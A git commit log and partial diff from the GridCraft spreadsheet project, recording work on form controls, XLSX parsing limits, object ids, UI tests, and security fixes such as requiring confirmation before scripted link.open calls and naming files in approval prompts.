ROADMAP.md, docs/chart-parity.md, docs/gaps.md, docs/target-app-parity.md, docs/ui-parity.md: the header change notes combine this branch's note with main's, dated today; main's revision and progress rows stay and this branch's rows are re-dated on top. Code merged without conflict.
2026-11-02 01:30:43 -05:00
prxnvt 834fa94f85 Objects: tests that a copied sheet's form controls take free ids and that a control's id stays in use
A sheet copy renumbers its form controls from the same free ids as its charts, pictures, shapes
and slicers, so when a file's slider carries the largest id the copies still get distinct ids;
free_object_ids counts the controls' ids as used, so 3 and u32::MAX held by controls are skipped.
2026-11-01 17:33:29 -05:00
prxnvt 63400c9afd Merge w/objects (a6afa053) into w/form-controls
crates/model/src/workbook.rs: w/objects' next_object_id over free_object_ids replaces this branch's loop; the form controls' ids join the used ids it collects, as the branch's loop had them; the branch's test that a control's id is in the sequence stays beside w/objects' tests.
crates/engine/src/cmd/sheet/tabs.rs (auto-merged): the count of free ids a copied sheet asks for includes its form controls, which the copy renumbers from the same iterator; without it the controls would all take u32::MAX.
2026-11-01 17:32:17 -05:00
prxnvt 18cb02cbd9 XLSX: a control properties part is read once, however many controls name it
Each listed control read and parsed its properties part again, and every read is charged to the
package's 1 GB budget, so a file whose controls all named one part spent the budget on it: the
controls after that were dropped and the parts read later (notes, threaded comments) failed with
TooLarge. The parsed part is now cached by target; a part that fails to read or isn't a
formControlPr is cached as nothing and not read again. Test: 13,000 controls naming one 200 KB
part keep the sheet's 10,000 controls and the note read after them.
2026-11-01 17:30:26 -05:00
prxnvt 4219720e13 UI tests: the button test closes the control's menu before the press it checks
The right-click that selects the button also opens its menu at the pointer, so the plain click
that follows could have gone to the menu instead of the button. The test now closes the menu with
Escape and asserts it is closed before clicking; the dialogs test asserts that choosing a menu item
closes it.
2026-11-01 17:30:26 -05:00
prxnvt a6afa05309 Objects: a copied sheet's objects get free ids even when a file used the largest id
`Workbook::next_object_id` returned one more than the largest id in use,
saturating at `u32::MAX`. A workbook read from a file can carry an object
with that id; every later insert (a chart, picture, shape, table or
slicer) then got `u32::MAX` again, and so did each object of a copied
sheet, whose ids also came from a saturating counter. Lookups and
selection take the first object with an id, and `object.delete` removes
every one.

`Workbook::free_object_ids(count)` now returns distinct unused ids: those
above the largest in use while they last, then the lowest free ones from
1. `next_object_id` takes the first of them, and the sheet copy takes one
per copied object (and refuses if the id space were ever exhausted). The
model test that recorded the saturation now checks the free ids instead,
and a new one covers a file that used the largest ids: the free ids come
from below, 100,000 of them distinct and in order.

Test: object_ids_stay_unique_when_a_file_used_the_largest_id gives a
shape id u32::MAX, inserts two shapes and copies the sheet; every shape id
is distinct across both sheets. It fails without the fix (both new shapes
get 4294967295).
2026-11-01 17:23:58 -05:00
prxnvt d8703162be XLSX: form controls find their properties parts through a relationship index
Each listed control looked its properties part up with a scan of the sheet's relationships, so a
sheet at the 10,000-control cap compared ids a hundred million times. The relationships are
indexed by id once, as the VML shapes already were; the first of a repeated id still wins.
2026-11-01 17:06:51 -05:00
prxnvt 11ffe09439 Form controls: tests for denied commands brought in by a file and for linked cells under protection
A button's command is refused at Insert, at Assign Action and, when a file's hidden name carries
it, at press time (file.save, file.saveAs with a path, file.open, app.commands, macro.run,
automate.runScript, control.press); nothing runs and no file is written. A slider or spin button
whose linked cell is locked on a protected sheet refuses the change through control.setValue,
Format Control and Insert, and keeps its value; a link to another sheet obeys that sheet's
protection; an unlocked linked cell takes the value.
2026-11-01 17:05:25 -05:00
prxnvt 40aa1e8b66 Merge w/objects (df98e9ce, with origin/main f5030432) into w/form-controls
ROADMAP.md: both headers combined (form controls first, then main's entries); the form controls progress-log and revision rows re-dated 2026-11-01 on top of main's rows; the branch's duplicate floating-objects rows dropped in favour of main's.
docs/file-format-parity.md: header combined the same way; the form controls revision row on top of main's rows.
docs/target-app-parity.md: header combined; the form controls revision row (catalog 276 / 292 -> 280 / 296) on top of main's rows; the duplicate chart-resizing row dropped in favour of main's.
docs/ui-parity.md: header combined, its catalog count set to 280 / 296; the form controls revision row on top of main's rows; the duplicate floating-objects row dropped.
crates/ui-egui/tests/it/keytips_generated.rs: regenerated with cargo xtask keytips (370 sequences).
crates/model/src/sheet.rs: the exhaustive push_object test helper and the two-of-every-kind list gained the Control kind, which main's new test module did not know.
2026-11-01 16:59:58 -05:00
prxnvt df98e9cef9 Objects: sorting keeps the size of a "move and size" picture whose lines swap places
A picture anchored to move and size with cells and spanning two rows
(or columns) was re-fitted between its top-left and bottom-right lines
after a sort. When the sort put the bottom line above the top one, the
fitted extent was negative and the picture collapsed to a zero height
or width. It now keeps its old size on that axis and travels with its
top-left line, like a "move only" picture.

Tests: for a sort by rows and one by columns, "move and size" and
"move only" pictures inside one line travel with it (the first
re-fitted to the same line, the second at its own size), an absolute
picture stays while the cells move under it, a two-line picture whose
lines swap keeps its size, and undo restores every anchor.
2026-11-01 16:38:23 -05:00
prxnvt b874f58667 Objects: a test pins that both anchor accessors visit the same objects in the same order
Sorting and row or column edits read every anchor through
`object_anchors`, compute the new ones and write them back through
`object_anchors_mut` in step. Nothing checked that the two accessors
visit the same objects in the same order; a kind of floating object
reaching only one of them would have paired objects with other objects'
anchors silently.

Test: two objects of every kind are inserted in a mixed order, each
anchor is marked with its position through the mutable accessor, the
marks are read back through the shared one in the same sequence, the
count matches the per-kind collections, and the mark is found on the
object `object_anchor` names by kind and id. The test's constructor
matches on `ObjKind` exhaustively, so a new kind does not compile until
the test covers it.
2026-11-01 16:38:23 -05:00
prxnvt dd9a01e3b2 Merge origin/main (f5030432) into pr/objects
ROADMAP.md: main's header and rows kept; this branch's progress-log and revision rows re-dated 2026-11-01 on top; the Change note names both.
docs/gaps.md: main's §13 Solver rows kept; this branch's §4 row re-dated 2026-11-01 on top; the Change note names both.
docs/target-app-parity.md: main's Solver and Insert Function rows kept; this branch's chart-handles row re-dated 2026-11-01 on top; the Change note names both.
docs/ui-parity.md: main's Function Library and Esc rows kept; this branch's floating-objects row re-dated 2026-11-01 on top; the Change note names both.
2026-11-01 16:34:14 -05:00
prxnvt 2b787b1912 Docs: ui.object.select says what it replies when it clears the selection 2026-10-31 22:23:56 -04:00
prxnvt 10de76e6c7 Docs: macro.check's signature in macros.md lists output
The Running section says macro.check takes `output`, but the
macro.check signature further down left it out. It now lists
`output?`, and says the reported output anchor is `output` when given.
2026-10-31 21:22:55 -04:00
prxnvt dd97b29dec XLSX: form controls are read from the drawing <legacyDrawing r:id> names
The reader took the sheet's first VML drawing relationship. A sheet
with pictures in its header or footer has a second VML drawing
(<legacyDrawingHF>), and when that relationship came first the control
shapes were not found: VML-only controls were skipped, and listed
controls lost their caption and macro. The drawing is now the one
<legacyDrawing r:id> names, as pass-through already does.
2026-10-31 16:55:49 -04:00
prxnvt 85c22dd27b XLSX: control properties parts use the ctrlProp relationship type Excel uses
The sheet related each control properties part with
http://schemas.microsoft.com/office/2006/relationships/ctrlProp. MS-XLSX
defines the relationship in the officeDocument namespace,
http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp,
which Excel writes and looks the part up by. GridCraft's own reader
matched either (it goes by the last segment and the r:id), so its round
trips passed; Excel would not have found the parts.
2026-10-31 16:38:18 -04:00
prxnvt e1fbee8ebc Form controls: holding Enter or Space presses a focused button once
The focused control took every pressed key event, the system's key
repeats included, so holding Enter or Space on a focused button ran its
macro or command again for each repeat. A repeat now still belongs to
the button (it doesn't reach the grid) but doesn't press it; arrows,
Page Up and Page Down held on a slider or spin button keep stepping.
2026-10-31 16:37:49 -04:00
prxnvt b8f04d7af9 Macros: the check of each step counts the form controls a step deletes
The footprint counts a deleted form control as a conflict, but the
check made as each step runs counted only charts, pictures and shapes.
After a footprint that stopped early (at Solver, or an approved file
step), a later step could delete a control with no question. It now
counts controls too, so such a step stops the run under fail and asks
under ask.
2026-10-31 16:36:53 -04:00
prxnvt 14dee9155d Form controls: the object commands leave a locked control on a protected sheet alone
control.format and control.assign refused to change a locked control on
a protected sheet, but object.move, object.delete,
object.setAnchorMode, arrange.bringForward, arrange.sendBackward and
arrange.align changed it all the same. They now refuse it with the
same message; an unlocked control still moves, and other kinds of
objects are unchanged.
2026-10-31 16:35:36 -04:00
prxnvt 0fb3ea7a68 Docs: revision history for form controls
file-format-parity.md, target-app-parity.md and ui-parity.md gave form
controls a new timestamp line without a matching revision-history row;
each now has one. The file-format-parity.md timestamp line keeps the
earlier change it replaced, as the other docs do.
2026-10-31 16:12:07 -04:00
prxnvt cc68d71ac2 XLSX: form controls find their VML shapes through an index
Each control listed in <controls> looked for its VML shape by scanning
every shape, so a sheet of 10,000 controls took over 8 s to open. The
shapes are now indexed by number once, and the same sheet opens in
about 0.4 s.
2026-10-31 16:11:55 -04:00
prxnvt 0e631e20da XLSX: a hostile-file test for form controls
A sheet with more controls than a sheet keeps (10,000), properties
parts that are not XML, are missing or hold numbers no control can take
(1e400, NaN, -inf, 2^64), shape ids that are not numbers, anchors far
outside the grid, and oversized names and links. Reading keeps exactly
the cap, every control passes the model's rules, and a save and reopen
keeps them all.
2026-10-31 16:11:55 -04:00
prxnvt b0531aeb73 XLSX: form control VML shapes are also found by their o:spid
Some producers give a VML shape a named id (`id="Button 1"`) and keep
its number in `o:spid`. The form control reader looked for the number
only in `id`, so a control listed in <controls> lost its caption and
macro (they live in the VML), and a control known only from the VML was
skipped. Shapes are now matched by `id`, else by `o:spid`, as
pass-through already does when it leaves the modelled shapes out.
2026-10-31 16:11:55 -04:00
prxnvt 09a37a8f10 Form controls: a kept button action comes back only on the same button
The button actions xlsx has no place for (commands, fixed inputs,
output cells) are kept in a hidden name keyed by sheet and the
control's place on the sheet. When another application added, removed
or reordered controls before saving, opening the file gave the action
to whichever button now had that place, and could replace a macro the
file itself gave that button.

Each entry now also holds the button's name and anchor cell, and is
restored only on a button with that name and cell whose own action from
the file does not contradict it: a stored macro action only on a button
that still runs that macro, a stored command only on a button the file
gives no macro.
2026-10-31 16:11:55 -04:00
prxnvt c7a11e9860 Form controls: a button's file command names its file in the approval question
Pressing a button whose command reads or writes a file asked "Run
file.exportCsv from 'Button 1'? It writes a file." without saying which
file, so the person could not tell what they were approving. The
question now ends with the command's `path` in parentheses; control
characters show as spaces and a path longer than 200 characters is
shortened in the middle.
2026-10-31 16:11:55 -04:00
prxnvt 7042306478 UI: Insert › Controls, form controls on the sheet, Assign Action and Format Control
The Insert tab gains Button, Slider and Spin Button beside Cell
Controls › Checkbox, which is unchanged. Each arms placement: a drag on
the grid draws the control at that size (a tall drag makes a vertical
slider), a click places it at its default size, and Escape disarms. Key
tips (N B U, N S L, N S B) place one at the active cell. A new button
opens Assign Action, as Excel opens Assign Macro.

form_controls.rs draws the controls in the sheet tokens, so they look
the same in both themes: buttons with hover and pressed states, sliders
with a track, a filled part and a thumb (and the value beside the thumb
while it is dragged), spin buttons with two arrows, stacked or side by
side. A plain click works a control: dragging the thumb, clicking the
track (a page), clicking or holding an arrow (it repeats after 0.4 s),
pressing a button (it runs on release over it). A drag or a hold is one
undo step. The control last worked takes the arrows, Page Up and Page
Down, Home and End, and Space or Enter for a button. Ctrl or Cmd+click
or a right-click selects a control to move or resize it; a right-click
opens the object menu, which for a control adds Edit Text and Assign
Action (buttons) and Format Control before Delete.
Double-clicking a selected control opens its editor. On a right-to-left
sheet a control moves as a whole and works where it is drawn.

Assign Action runs a macro (from the list or typed, on the selection or
a fixed range, with an optional output cell) or a command (searched
among those a macro may run, with JSON parameters). Format Control edits
the value, limits, incremental and page change, cell link, orientation,
name and the locked and print flags, checking the same rules as the
engine. A button whose action needs approval, or whose macro would write
over data, asks in a prompt whose buttons press it again with the
answer.

New theme tokens (thumb, hover, pressed, fill, focus ring) are in the
contrast test; Button, Slider and Spin icons are drawn in code; the new
labels are translated in every interface language. The catalog gains
Developer › Controls (280 / 296).
2026-10-31 16:11:54 -04:00
prxnvt 295c57535c XLSX: form controls (control properties, <controls> and VML ClientData), alongside kept controls
Buttons, scroll bars (sliders) and spin buttons are written the three
ways the published formats describe: a control properties part
(xl/ctrlProps/ctrlPropN.xml, formControlPr with objectType, fmlaLink,
min, max, inc, page, val and horiz), a <control> in the sheet's
<controls> inside mc:AlternateContent with its anchor, print and locked
flags and a button's macro="[0]!Name", and a VML shape with
x:ClientData. Notes and controls share one VML drawing per sheet; shape
ids come from 1024-id blocks listed in the drawing's idmap (after the
blocks kept header and footer drawings use), notes first, so each
control's shapeId names its VML shape.

Reading prefers the properties part, takes the caption from the VML
text box and falls back to the VML alone for files that only have it.
Values are clamped to whole numbers 0..30000 and repaired to pass the
model's rules.

Form controls of other kinds (check boxes, list boxes, drop-downs) stay
with pass-through: the reader returns the shape numbers it modelled,
and pass-through keeps the rest of the <controls> element and VML
drawing without them. On save, modelled controls join the kept
<controls> element and take a fresh shape block in the kept drawing, so
a sheet with both round-trips without duplicates. Properties part names
are reserved so kept parts of other sheets don't collide with them.

Button actions xlsx has no place for (commands, fixed inputs, output
cells) travel in a chunked hidden name keyed by sheet and position, and
are taken back out on open. The streaming sheet parser now splits only
shallow <row> elements, so an anchor's <xdr:row> inside <controls> stays
in the tree.
2026-10-31 16:11:54 -04:00
prxnvt a0d991e903 Form controls: model and commands for buttons, sliders and spin buttons
A sheet holds form controls as floating objects of a new kind
(ObjKind::Control): buttons that run a macro or one command, and sliders
and spin buttons that hold a whole number from 0 to 30000 and write it
to a linked cell. They take part in everything other objects do: ids
from the workbook sequence, object.move, object.delete and
object.setAnchorMode, the Selection Pane and Bring Forward / Send
Backward, anchors that follow row and column edits, fresh ids on a
copied sheet, and links that follow inserts, deletes, cut-moves, sheet
renames and sheet deletes like chart series.

Commands (cmd/controls.rs): insert.button, insert.slider,
insert.spinButton, control.format, control.assign, control.setValue,
control.press and the control.list query. Each numeric rule (0 <= min <
max <= 30000, 1 <= step <= max - min, page >= step for sliders) is
refused with its own message, and values are clamped and snapped to the
step. control.setValue writes the linked cell through cell.set inside
one undo group, so dependents recalculate and one Undo restores both;
every commit moves linked controls to what their cells hold.

control.press runs a button's macro through macro.run, or its command
through the macro policy with the document's trust, so a button in a
workbook opened from a file asks before it runs anything. Like a macro
step, the command runs inside the scripts' file sandbox unless it is an
approved file command. Macros never press controls, and macro.rename
keeps buttons pointing at the renamed macro.

macro.run, macro.check and the debugger take `output`, which replaces
the macro's output anchor for that run (a button that sends the output
elsewhere). The policy and the approval go by the stored macro; the
footprint, the conflict rule and the per-step check work on the cells
`output` names. A value that isn't reference text of at most 1,024
characters, or names no cell, is refused before anything runs.
2026-10-31 16:11:48 -04:00
prxnvt 548e5345ee Objects: only the selected object's handles resize; a press elsewhere on an object moves it
A primary drag looked for a handle under the press on whatever object it
grabbed, so pressing near the edge or corner of an object that was not
selected started a resize, while the pointer over that spot showed the
Move cursor (handles are only shown, and only offered by the cursor, on
the selected object). The press now takes its handle from
`chartview::selected_handle`, the same lookup the cursor uses; a press on
any other object selects and moves it.

Test: dragging an unselected shape by its bottom-right corner shows the
Move cursor, then selects and moves the shape without resizing it.
2026-10-31 12:53:46 -04:00
prxnvt f3fbaa5568 Objects: one chart evidence paragraph in gaps.md; trendlines are not missing
gaps.md §4 carried two evidence paragraphs, an older one saying PRs #158
and #161 were open and a newer one saying all 2-D kinds survive XLSX round
trip, both repeating the resize, smooth-line, Switch Row/Column and
trendline statements. It is one paragraph with the current status again.

The Mainstream chart row in target-app-parity.md listed trendlines as
missing; they are read, written and drawn (`Series::trendlines`, the XLSX
chart reader and writer, `chart.addElement`), as chart-parity.md records.
The row now says so and keeps "no axis options". No score change.
2026-10-31 11:22:01 -04:00
prxnvt 977c895378 Objects: the parity and gap docs no longer list chart resizing as missing
gaps.md (§4), target-app-parity.md (the Essentials tier's work, the
Mainstream chart row, the interaction discount and the Essentials chart
task) and chart-parity.md (the element table and the work list) still
described charts as impossible to resize (#190). Charts move and resize
from eight handles like every floating object, so those statements now
say so; the 2026-10-10 revision rows and the 10-10 re-check stay as
history. Scores and the 40-60 h chart estimate are unchanged (resizing
was 1-2 h, within the rounding).
2026-10-31 09:22:01 -04:00
prxnvt 4b805d64bc Objects: each drag of an object is its own undo step
A drag merges its frames into one undo step by dropping a new step whose
label matches the one before it. Its first frame did the same, so a second
drag of an object (a move after a move, or a resize after a move) merged
into the first drag's "Move Object" step, and one undo took back both.

`Drag::Object` records whether the drag has made its step; only the later
frames of the same drag merge into it.

Test: a move and then a resize of a picture take two undos to reverse,
the first restoring the moved picture.
2026-10-31 06:19:13 -04:00
prxnvt 028ce2b417 Objects: a resize handle under the headers leaves the press to them
A selected object's handles reach a few points outside it, and a press
was matched against them before any check of where it landed, so a press
on the column or row header beside an object at the sheet's edge resized
the object instead of selecting the column or row. The cursor already
ignored handles outside the cells.

`chartview::selected_handle` finds the selected object's handle under a
point only over the cell area, as `hit` does, and not while objects are
hidden; the press and the cursor both use it.

Test: presses within a handle's reach over the column header and the row
header neither move nor resize the object.
2026-10-31 06:02:30 -04:00
prxnvt de8f1854f1 Objects: bubble sizes follow edits like the other series references
`rewrite_cell_links` rewrote a chart series' values, categories and name
but not its bubble sizes, so inserting or deleting lines, a cut-move or a
sheet rename left a bubble chart's sizes pointing at the old cells. They
are now rewritten with the rest.

Test: bubble sizes through an inserted row, a cut-move and a sheet rename.
2026-10-31 05:52:42 -04:00
prxnvt 2fce1a9b42 Objects: every kind follows edits; chart series follow cut-moves and sheet deletes
Structural edits and sorts kept three hand-indexed lists (charts, images,
shapes) in step in two places, and slicers were left out of both, so a
slicer stayed put when rows were inserted above it. Chart series were
rewritten for inserted and deleted lines and for sheet renames, but not for
cut-moves or sheet deletes, which left them pointing at the old cells.

- Inserting and deleting rows and columns and sorting walk
  `Sheet::object_anchors` and `object_anchors_mut`, one fixed order over
  every kind, so slicers now follow their cells by their anchor mode like
  the other objects, and a new kind cannot be forgotten in one of the
  passes.
- `rewrite_cell_links` is the one place that rewrites the references
  floating objects hold (chart series values, categories and names,
  and the source block a chart was made from).
  `rewrite_all_formulas` calls it, which covers inserting and deleting
  lines and cells and cut-moves on one sheet or across sheets; renaming and
  deleting a sheet call it too, so a series into a deleted sheet becomes
  #REF!, as a formula does.
- Copying a sheet gives its charts, pictures, shapes and slicers fresh ids,
  keeping ids unique across the workbook, which object selection and the
  `{kind, id}` commands rely on.

Tests: every kind through row and column inserts and deletes, an absolute
shape, a sort and undo; a slicer through inserted rows; chart series
through a cut-move, a sheet rename, a sheet delete and undo; ids after a
sheet copy.
2026-10-31 05:52:04 -04:00
prxnvt e7591de2ec Objects: one selection for charts, pictures, shapes and slicers, with eight resize handles
The sheet tracked the selected object as a bare id in `selected_chart`, so
only charts and text boxes drew a selection frame, only the bottom-right
corner resized, and the kind of the selected object had to be guessed from
the id. The selection is now `SheetApp::selected_object: Option<ObjRef>`,
with `selected_chart()` kept for the Chart Design tab and the Format Chart
pane.

- Model: `ObjKind` (chart, image, shape, slicer) and `ObjRef { kind, id }`;
  `Sheet` helpers find, move and remove an object by `ObjRef` and walk every
  object's anchor in a fixed order. `next_object_id` saturates instead of
  overflowing on an id at `u32::MAX` read from a file.
- Commands: `object.delete`, `object.move` and `object.setAnchorMode` accept
  the four kinds through one parameter check, refuse an unknown kind or id
  instead of succeeding silently, and clamp hostile offsets. `object.delete`
  replies with the deleted object. Arrange and the Selection Pane include
  slicers, which stack above the other objects.
- Sheet: the selected object of any kind draws a frame with eight handles
  over every object. Each handle resizes only its own edges, which never
  cross; the body moves the object, and the first drag frame already applies
  the pointer's movement. The pointer shows the handle's resize cursor or a
  move cursor, with the diagonals swapped on a right-to-left sheet, where the
  frame moves with its object.
- Keys: Escape drops the object selection; Delete and Backspace keep
  deleting the selected object (#213). A selection whose object disappears
  (undo, redo, delete, sheet switch) is cleared.
- Double-click: `open_object` routes by kind (a text box edits in place, a
  chart opens Format Chart).
- Control protocol: `ui.inspect` reports `selectedObject {kind, id}` and
  keeps `selectedChart`; `ui.object.select` selects any object and replies
  with its rect. The snapshot example takes `--object <id>`.

Tests: engine tests for every kind by kind and id, the Selection Pane and
hostile parameters; UI tests for selecting each kind (a slicer over a chart
takes the click), all eight handles on four kinds, cursors, Delete,
Backspace and Escape, undo and redo, double-click routing, and resizing on a
right-to-left sheet. Existing tests use the new selection API.
2026-10-31 05:51:02 -04:00
Higgs32584andClaude Opus 5.5 9ac6b67e18 Merge origin/main into fix/2181-link-open-confirmation
Port the #2181 link.open confirmation changes into main's split files:
cmd/insert.rs -> cmd/insert/links.rs (open_link), dialogs.rs -> dialogs/show.rs
(OK handling, open_confirmed_link), grid.rs -> grid/interact.rs (follow_link doc).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 22:54:30 -04:00
Michael Higgins de0c5a0d96 Merge branch 'storytold:main' into fix/2181-link-open-confirmation 2026-10-26 18:00:36 -04:00
Michael Higgins 40929d80c5 Merge branch 'main' into fix/2181-link-open-confirmation 2026-10-25 10:21:07 -04:00
RedBearAKandClaude Fable 5.1 0b7deaa3d8 XLSX: the XML element cap counts only elements kept in the tree
`parse_streaming` counts every element it attaches to a parent against
MAX_XML_NODES, but the cells of a worksheet are attached to their `row`
while the row is open, and the row is then handed to the callback and
dropped. So the count grew with every cell of a sheet although the tree
never held more than one row, and a workbook with a sheet of about one
million ordinary cells (12,274 rows by 103 columns) was reported damaged
after 6,310 rows since #2413. Shared strings, streamed by `si`, had the
same exposure: a table of about a million plain strings, or fewer
rich-text ones.

The count now returns to its value at the start of a split element when
that element is handed out, so a streamed part of any size passes while a
part that keeps a million elements in its tree is still refused.
Regression test: 5,001 streamed rows of 100 cells are read whole; the same
part kept in a tree is refused.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-10-24 17:45:15 -08:00
Higgs32584andClaude Opus 5.5 594557e000 Merge origin/main into fix/2181-link-open-confirmation
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-22 11:57:34 -04:00
Higgs32584andClaude Opus 5.5 79214fd287 link: require confirmation for programmatic link.open (#2181)
link.open is reachable by the control channel, CLI, MCP and workbook
scripts, so it could open https://attacker/?d=<cell data> without the
user seeing it. By default (LinkPolicy::Confirm) it now refuses web and
e-mail addresses with an error and opens no dialog; references still
navigate and other schemes stay refused. A host may opt in with
LinkPolicy::Allow (Rust API only, no command sets it).

The UI's Open Hyperlink prompt no longer runs a command on OK: it calls
Session::open_confirmed_link with the address it showed, kept in a
private field, so ui.dialog.confirm can't press OK and ui.dialog.set
can't swap the address behind the prompt text.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-21 20:50:07 -04:00
195 changed files with 12678 additions and 727 deletions
+1
View File
@@ -42,3 +42,4 @@ jobs:
AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }}
AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }}
AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }}
LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}
Generated
+42 -13
View File
@@ -220,7 +220,7 @@ dependencies = [
"objc2-foundation 0.3.2",
"parking_lot",
"percent-encoding",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
"wl-clipboard-rs",
"x11rb",
]
@@ -1346,6 +1346,19 @@ dependencies = [
"winit",
]
[[package]]
name = "egui_extras"
version = "0.37.0"
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
dependencies = [
"ahash",
"egui",
"enum-map",
"itertools",
"log",
"profiling",
]
[[package]]
name = "egui_glow"
version = "0.37.0"
@@ -1413,6 +1426,26 @@ version = "1.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099"
[[package]]
name = "enum-map"
version = "3.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d4532960034c15ba2f55e9eee631040ecc473c32e6c4b200828c759840f13a06"
dependencies = [
"enum-map-derive",
]
[[package]]
name = "enum-map-derive"
version = "1.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7127272f64b3e098f7d81f350d672081b879bff896d219c42370dc858b1af9ff"
dependencies = [
"proc-macro2",
"quote",
"syn 3.0.6",
]
[[package]]
name = "enumflags2"
version = "0.7.12"
@@ -1478,7 +1511,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
dependencies = [
"libc",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -2131,6 +2164,7 @@ dependencies = [
"craft-update",
"craft-window",
"egui",
"egui_extras",
"egui_kittest",
"epaint_default_fonts",
"gridcraft-chart",
@@ -3507,7 +3541,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967"
dependencies = [
"libc",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -3963,7 +3997,7 @@ dependencies = [
"once_cell",
"socket2",
"tracing",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -4348,7 +4382,7 @@ dependencies = [
"errno",
"libc",
"linux-raw-sys 0.12.1",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -4407,7 +4441,7 @@ dependencies = [
"security-framework",
"security-framework-sys",
"webpki-root-certs",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -5158,7 +5192,7 @@ dependencies = [
"getrandom 0.4.3",
"once_cell",
"rustix 1.1.5",
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -6151,7 +6185,7 @@ version = "0.1.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
dependencies = [
"windows-sys 0.59.0",
"windows-sys 0.61.2",
]
[[package]]
@@ -6967,11 +7001,6 @@ name = "egui_demo_lib"
version = "0.37.0"
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
[[patch.unused]]
name = "egui_extras"
version = "0.37.0"
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
[[patch.unused]]
name = "egui_inspection"
version = "0.37.0"
+4 -2
View File
@@ -2,7 +2,7 @@
**Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away
> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)
> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (form controls: buttons, sliders and spin buttons; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)
GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX
is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web.
@@ -22,7 +22,7 @@ This page is the summary. The detail is in:
| Number | Value | Kind |
|---|---|---|
| 2026-10-14 | Editing a cell with text that would read back as a number, boolean, date or formula (entered with a leading apostrophe) shows the apostrophe in the editor and formula bar, so Enter unchanged keeps it text (#1362) |
| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 277 / 292 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 281 / 296 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
| **Ready for real work** | **~50%** | estimated from written weights (51.6); [target-app-parity.md](docs/target-app-parity.md) |
| **Mainstream practitioner** | **~50%** | estimated: typical analyst/finance user, weekly features, × 0.90 interaction × 0.92 stability × 0.88 file exchange; [method](docs/target-app-parity.md#mainstream-practitioner) |
| **Essentials user** | **~63%** | estimated: core features only, × 0.92 launch/stability × 0.95 clarity × 0.90 opening sent files; [method](docs/target-app-parity.md#essentials-user) |
@@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
| Date | What landed |
|---|---|
